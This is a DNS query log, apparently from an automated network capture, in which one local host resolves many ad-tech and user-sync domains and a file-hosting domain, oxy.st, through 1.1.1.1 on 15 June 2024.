Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.531550884 CEST	1.1.1.1	192.168.2.16	0x8eeb	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.531550884 CEST	1.1.1.1	192.168.2.16	0x8eeb	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.531550884 CEST	1.1.1.1	192.168.2.16	0x8eeb	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.531550884 CEST	1.1.1.1	192.168.2.16	0x8eeb	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.531550884 CEST	1.1.1.1	192.168.2.16	0x8eeb	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.532998085 CEST	1.1.1.1	192.168.2.16	0x35ed	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.571849108 CEST	1.1.1.1	192.168.2.16	0x2ab6	No error (0)	lb.eu-1-id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.579866886 CEST	1.1.1.1	192.168.2.16	0x5c20	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.849431992 CEST	1.1.1.1	192.168.2.16	0x2f45	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.850269079 CEST	1.1.1.1	192.168.2.16	0xfd68	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851114988 CEST	1.1.1.1	192.168.2.16	0x57be	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851114988 CEST	1.1.1.1	192.168.2.16	0x57be	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851162910 CEST	1.1.1.1	192.168.2.16	0xb99	No error (0)	cm.g.doubleclick.net		142.250.186.162	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	secure.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851372957 CEST	1.1.1.1	192.168.2.16	0xbaeb	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851893902 CEST	1.1.1.1	192.168.2.16	0xa2c5	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851893902 CEST	1.1.1.1	192.168.2.16	0xa2c5	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851938009 CEST	1.1.1.1	192.168.2.16	0x366b	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851938009 CEST	1.1.1.1	192.168.2.16	0x366b	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:58.851938009 CEST	1.1.1.1	192.168.2.16	0x366b	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.855263948 CEST	1.1.1.1	192.168.2.16	0xc134	No error (0)	s.cpx.to		52.49.242.239	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:58.855263948 CEST	1.1.1.1	192.168.2.16	0xc134	No error (0)	s.cpx.to		99.81.158.184	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		157.90.33.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		178.63.248.56	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		157.90.33.68	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		157.90.33.72	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		23.88.8.125	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		23.88.8.123	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		178.63.248.57	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:59.177710056 CEST	1.1.1.1	192.168.2.16	0x39bf	No error (0)	uidsync.net		157.90.33.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:01.258917093 CEST	1.1.1.1	192.168.2.16	0xf3e9	No error (0)	download.oxy.st		185.178.208.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:06.936991930 CEST	1.1.1.1	192.168.2.16	0x996e	No error (0)	s1.oxy.st		104.21.234.183	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:06.936991930 CEST	1.1.1.1	192.168.2.16	0x996e	No error (0)	s1.oxy.st		104.21.234.182	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:06.938160896 CEST	1.1.1.1	192.168.2.16	0xa15	No error (0)	s1.oxy.st			65	IN (0x0001)	false
Jun 15, 2024 11:15:07.101638079 CEST	1.1.1.1	192.168.2.16	0x714c	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.200	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.73	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.106	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.88	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.172	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.104	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.89	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.105	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.193.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.74	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.201	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:07.101748943 CEST	1.1.1.1	192.168.2.16	0x9e8f	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.173	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:09.608251095 CEST	1.1.1.1	192.168.2.16	0x34df	No error (0)	s1.oxy.st		104.21.234.182	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:09.608251095 CEST	1.1.1.1	192.168.2.16	0x34df	No error (0)	s1.oxy.st		104.21.234.183	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:09.609613895 CEST	1.1.1.1	192.168.2.16	0x4bd1	No error (0)	s1.oxy.st			65	IN (0x0001)	false
Jun 15, 2024 11:15:13.155174017 CEST	1.1.1.1	192.168.2.16	0x709b	No error (0)	tmzr.themoneytizer.fr			65	IN (0x0001)	false
Jun 15, 2024 11:15:13.157602072 CEST	1.1.1.1	192.168.2.16	0x5033	No error (0)	tmzr.themoneytizer.fr		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.157602072 CEST	1.1.1.1	192.168.2.16	0x5033	No error (0)	tmzr.themoneytizer.fr		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		34.251.183.115	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		52.17.93.114	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		34.246.197.210	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		34.240.216.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		52.212.171.213	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		52.212.235.85	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		34.253.242.146	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:13.487694025 CEST	1.1.1.1	192.168.2.16	0xf0b8	No error (0)	match.prod.bidr.io		52.214.45.172	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.430680990 CEST	1.1.1.1	192.168.2.16	0x4314	No error (0)	lexicon.33across.com		35.244.193.51	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		52.17.55.191	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		52.17.40.72	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		52.211.142.73	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		54.72.120.129	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		52.49.45.15	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		54.72.245.162	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		52.213.38.247	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.439270020 CEST	1.1.1.1	192.168.2.16	0x2db3	No error (0)	id.crwdcntrl.net		63.33.74.9	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		91.134.110.128	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		51.178.195.208	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		217.182.178.224	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		178.32.210.226	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		164.132.25.176	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		5.196.111.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		51.178.195.209	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		217.182.178.225	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		91.134.110.129	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		164.132.25.177	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		149.202.238.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		5.196.111.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		5.135.209.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		178.32.197.48	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		149.202.238.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		5.135.209.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		178.32.210.227	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.445244074 CEST	1.1.1.1	192.168.2.16	0x8923	No error (0)	euw2.smartadserver.com		178.32.197.49	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.446484089 CEST	1.1.1.1	192.168.2.16	0xcabe	No error (0)	metrics.biddertmz.com		34.248.22.168	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:14.485112906 CEST	1.1.1.1	192.168.2.16	0x631	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:15.792365074 CEST	1.1.1.1	192.168.2.16	0x385e	No error (0)	metrics.biddertmz.com		34.248.22.168	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		52.49.45.15	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		52.19.165.229	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		52.17.55.191	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		54.72.120.129	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		52.211.142.73	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		54.72.245.162	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		52.213.38.247	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:15.811583996 CEST	1.1.1.1	192.168.2.16	0x51cd	No error (0)	id.crwdcntrl.net		34.247.240.165	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.011101961 CEST	1.1.1.1	192.168.2.16	0x4e61	No error (0)	lexicon.33across.com		35.244.193.51	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.594156981 CEST	1.1.1.1	192.168.2.16	0x20e0	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:16.594156981 CEST	1.1.1.1	192.168.2.16	0x20e0	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.595063925 CEST	1.1.1.1	192.168.2.16	0xb3c5	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		91.134.110.128	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		178.32.210.226	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		178.32.197.48	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		5.135.209.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		149.202.238.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		164.132.25.177	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		178.32.197.49	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		51.178.195.209	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		91.134.110.129	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		51.178.195.208	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		5.135.209.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		5.196.111.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		178.32.210.227	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		149.202.238.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		5.196.111.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		164.132.25.176	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		217.182.178.225	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.918910027 CEST	1.1.1.1	192.168.2.16	0x519f	No error (0)	euw2.smartadserver.com		217.182.178.224	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:16.952709913 CEST	1.1.1.1	192.168.2.16	0x7c2e	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:17.678189993 CEST	1.1.1.1	192.168.2.16	0x9cae	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:17.678189993 CEST	1.1.1.1	192.168.2.16	0x9cae	No error (0)	user-data-eu.bidswitch.net		35.214.149.91	A (IP address)	IN (0x0001)	false
